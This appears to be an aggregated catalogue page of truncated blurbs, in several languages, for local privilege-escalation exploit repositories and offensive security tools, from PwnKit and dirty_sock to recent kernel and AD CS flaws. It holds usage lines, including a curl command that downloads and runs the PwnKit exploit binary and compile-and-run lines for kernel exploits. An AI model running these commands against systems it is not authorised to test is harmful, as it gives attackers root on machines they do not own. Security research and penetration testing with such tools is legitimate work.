PwnKit-CVE-2021-4034

PwnKit PoC for PwnKit / CVE-2021-4034 - Pkexec本地权限提升 利用 手动方式 root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit 交互式 shell ./PwnKit 'id' 单条命令 已修补版本 在已修补的版本上运行此漏洞将产生如下输出。 构建 root@kitploit: gcc -shared PwnKit...

CVE-2024-0507_CVE-2024-0200-github

简介 此仓库包含我们为GitHub Enterprise漏洞CVE-2024-0507和CVE-2024-0200开发的利用程序。 查看完整文章：https://blog.convisoappsec.com/en/analysis-of-github-enterprise-vulnerabilities-cve-2024-0507-cve-2024-0200/ CVE-2024-0507 GitHub Enterprise Server 管理控制台中的代码注入导致权限提升 . CVE-2024-0200 GitHub Enterprise Server 中的不安全反射导致命令注入...

ghostlock-emerald

GhostLock for POCO M6 Pro emerald GhostLock（CVE-2026-43499）是 Linux 内核 futex 优先级继承代码中一个存在了 15 年的 use-after-free 漏洞，可让任何本地用户获取 root 权限。本项目利用该漏洞对 POCO M6 Pro（MediaTek Helio G99 Ultra / MT6789）进行 root，并在锁定引导加载程序的情况下安装 KernelSU。 内核：6.12.30-android16-5-g6e872b4863d6-ab13847919-4k 参考 研究：IonStack...

LeakedHandlesFinder

LHF - 漏洩ハンドル発見ツール 漏洩したWindowsプロセスハンドルを識別するツールです。ペンテスト中に新しいLPE脆弱性を特定したり、単に新しいリサーチプロセスとして役立ちます。現在は、漏洩したハンドルを悪用して新しい任意のプロセス（デフォルトはcmd.exe）を起動する（autopwn）機能に対応しています。 LHFは継承されたハンドルをリアルタイムで識別し、研究者に悪用可能性のヒントを提供します。 rootedcon 2022にて発表されました https://www.rootedcon.com/ponentes-rooted2022/. プレゼンテーション -...

CVE-2021-33909

CVE-2021-33909 Código de exploit para CVE-2021-33909, solo un volcado del repositorio eliminado https://github.com/AmIAHuman/ Sequoia CVE-2021-33909 Compilación gcc exploit.c -o exploit Ejecución "mkdir dir;./exploit $pwd/dir". chmod +x exploit ./exploit Una línea gcc exploit.c -o exploit;chmod +...

CVE-2024-24402

Informe de Vulnerabilidad CVE descubierto por: Jarod Jaslow MAWK Detalles de la Vulnerabilidad: Endpoint: Nagios XI Versión 2024R1.01 Tipo de Vulnerabilidad: Escalada de Privilegios desde el Usuario "NAGIOS" Resultado de la Explotación: Acceso root completo en el sistema objetivo Pasos para...

gpoParser

gpoParser gpoParser 是一款用于提取和分析 Active Directory 环境中通过组策略对象 GPO 应用的配置的工具。 由于枚举这些设置可能既繁琐又耗时，该工具能让你更清晰地理解已应用的策略，并帮助识别可能导致横向移动或权限提升的危险配置。 它曾在 leHack 2025 和 DEFCON 33 上进行展示。 安装 注意：gssapi 包需要依赖：libkrb5-dev，可通过 sudo apt install libkrb5-dev 安装（或使用你相关的包管理器） root@kitploit: pipx install...

CVE-2026-38056 ST Engineering iDirect iQ-Series Terminals Missing Authorization

A local privilege escalation vulnerability exists in the iDirect iQ200 VSAT terminal running firmware 23.0.1.0. The iQ200 is a rackmount satellite modem deployed across oil and gas, maritime, defense, and remote infrastructure as the primary, and often sole communications link for offshore rigs,...

CVE-2026-38056

A local privilege escalation vulnerability exists in the iDirect iQ200 VSAT terminal running firmware 23.0.1.0 , a rackmount satellite modem used as the primary communications link for offshore rigs, vessels, and remote sites. The device ships with a pre-configured low-privilege local user accoun...

EUVD-2026-76127

A local privilege escalation vulnerability exists in the iDirect iQ200 VSAT terminal running firmware 23.0.1.0. The iQ200 is a rackmount satellite modem deployed across oil and gas, maritime, defense, and remote infrastructure as the primary, and often sole communications link for offshore rigs,...

cve-2023-46813-poc

CVE-2023-46813 PoC 1. Aplica los parches de la carpeta host-patches al host Linux y a QEMU. 2. Inicia una VM SEV-SNP. 3. Ejecuta el código de este repositorio y espera el mensaje "waiting for the hypervisor to change memory to MMIO". 4. Ejecuta repetidamente el comando attack en QEMU varias veces...

CVE-2020-0001

CVE-2020-0001 在不受信任的应用程序进程中运行系统组件的 PoC 博客 https://zachinio.com/blogs/cve-2020-0001 使用方法 运行该应用，确保进程 "com.android.settings" 不存在，然后点击 "启动服务" 按钮。 启动设置应用，或等待某个系统组件为你启动它。...

CVE-2023-45503

CVE-2023-45503 漏洞详情 概述 在 Macrob7 Macs 框架内容管理系统（CMS）1.1.4f 及更早版本中，对用户输入的不安全处理导致了 16 个 SQL 注入漏洞。能够执行任意 SQL 查询可能导致私有数据泄露，包括用户密码哈希，以及修改其他用户凭据和权限级别的能力。影响包括权限提升和潜在的远程代码执行（RCE）。 一份列出每个受影响端点、易受攻击参数以及易受攻击函数的电子表格可在此链接找到。 CWE 分类： CWE-89：SQL 命令中特殊元素的不当中和（'SQL 注入'） 报告者： Ally Petitt 受影响产品： Macrob7 Macs CMS...

chocobo

chocobo Chocobo Root（CVE-2016-8655）分析 备注 这是最新的Linux提权漏洞，于2016-12-06发布 见此 http://seclists.org/oss-sec/2016/q4/607。 目前找到的参考资料： http://www.theregister.co.uk/2016/12/07/androiddirtycowkernelpatch/ https://www.exploit-db.com/exploits/40871/ 目标：撰写一份CPI白皮书/博客，内容包括： 对漏洞利用进行更深入的分析。当前...

CVE-2025-32463

CVE-2025-32463 Linux 中通过 Sudo chroot 实现的本地权限提升至 Root 🛑 漏洞摘要 CVE-2025-32463 是 Sudo 二进制文件中的一个本地权限提升漏洞 。该漏洞允许本地用户在特定配置错误或精心构造的输入下将权限提升至 root 。该问题由 Rich Mirch 发现。 CVE-ID: CVE-2025-32463 组件: sudo 类型: 本地权限提升（EoP） CVSS 评分: 待定 发现者: Rich Mirch 🔥 影响 低权限的攻击者可以利用此漏洞获取 root 访问权限 ，从而完全控制系统。 🧪 概念验证 漏洞利用...

dirty_sock

dirtysock 通过 snapd CVE-2019-7304 的本地权限提升 重制版 PoC 漏洞利用 功劳归于 initstring。原始 dirtysock。 使用方法 再次执行脚本前请等待约 40 秒，否则会出问题。 root@kitploit: chmod u+x lpe.py ./lpe.py...

PEASS-ng

PEASS-ng - 特権昇格用オースサムスクリプトスイート 新世代 LinPEASマスターのための公式Linux特権昇格コース LinPEASをマスターするために、数多くのLinux特権昇格テクニックを学ぶにはhttps://hacktricks-training.com/courses/lhe/ をチェックしてください 基本チュートリアル ここでは、Windows、Linux/Unix、およびMacOS向けの特権昇格ツール を見つけることができます。 これらのツールは、悪用可能なローカル特権昇格の経路 を探し出し、見やすい色 で出力してくれるので、誤設定を簡単に認識できます。...

CVE-2026-43499-armv7

CVE-2026-43499 GhostLock — ARM32 Huawei Watch 4 Pro 基于 CVE-2026-43499 GhostLock 的 Linux 内核提权漏洞利用尝试 — Huawei Watch 4 Pro MDS-AL00, armv7l 项目概述 本项目是针对 Huawei Watch 4 Pro MDS-AL00, Snapdragon SW5100, HarmonyOS 4.3.0 AOSP 12 设备的 GhostLock 内核漏洞利用尝试，在 ARM 32-bit armv7l 架构上适配。 GhostLock CVE-2026-43499...

CTF-CVE-2019-9053-GTFOBins

CTF, CVE-2019-9053, GTFOBins 我使用了 https://tryhackme.com/ 上的机器和我自己的 Kali on WSL 来做这个练习，这是CTF挑战的一部分。以下信息帮助我解决了这个挑战： vim 在 https://gtfobins.github.io/gtfobins/vim/ 和 https://gtfobins.github.io/ 上 sudoers 在 https://help.ubuntu.com/community/Sudoers 上 sudo 在...

Metasploit-CVE-2026-54121-Certighost

Metasploit-CVE-2026-54121-Certighost Certighost 最初由 h0j3n 和 Aniq Fakhrul 发现并利用。本仓库包含一个 Metasploit 辅助模块，通过滥用 AD CS 注册的“chase”回退机制，可将任意低权限域用户提升至完全控制域。攻击者可胁迫 CA 回连攻击者控制的基础设施进行身份认证，并签发一个冒充域控制器的证书。该证书用于 PKINIT，UnPAC-the-hash 可恢复 DC 的 NT 哈希，其余工作由 DCSync 完成。 安装 root@kitploit: mkdir -p...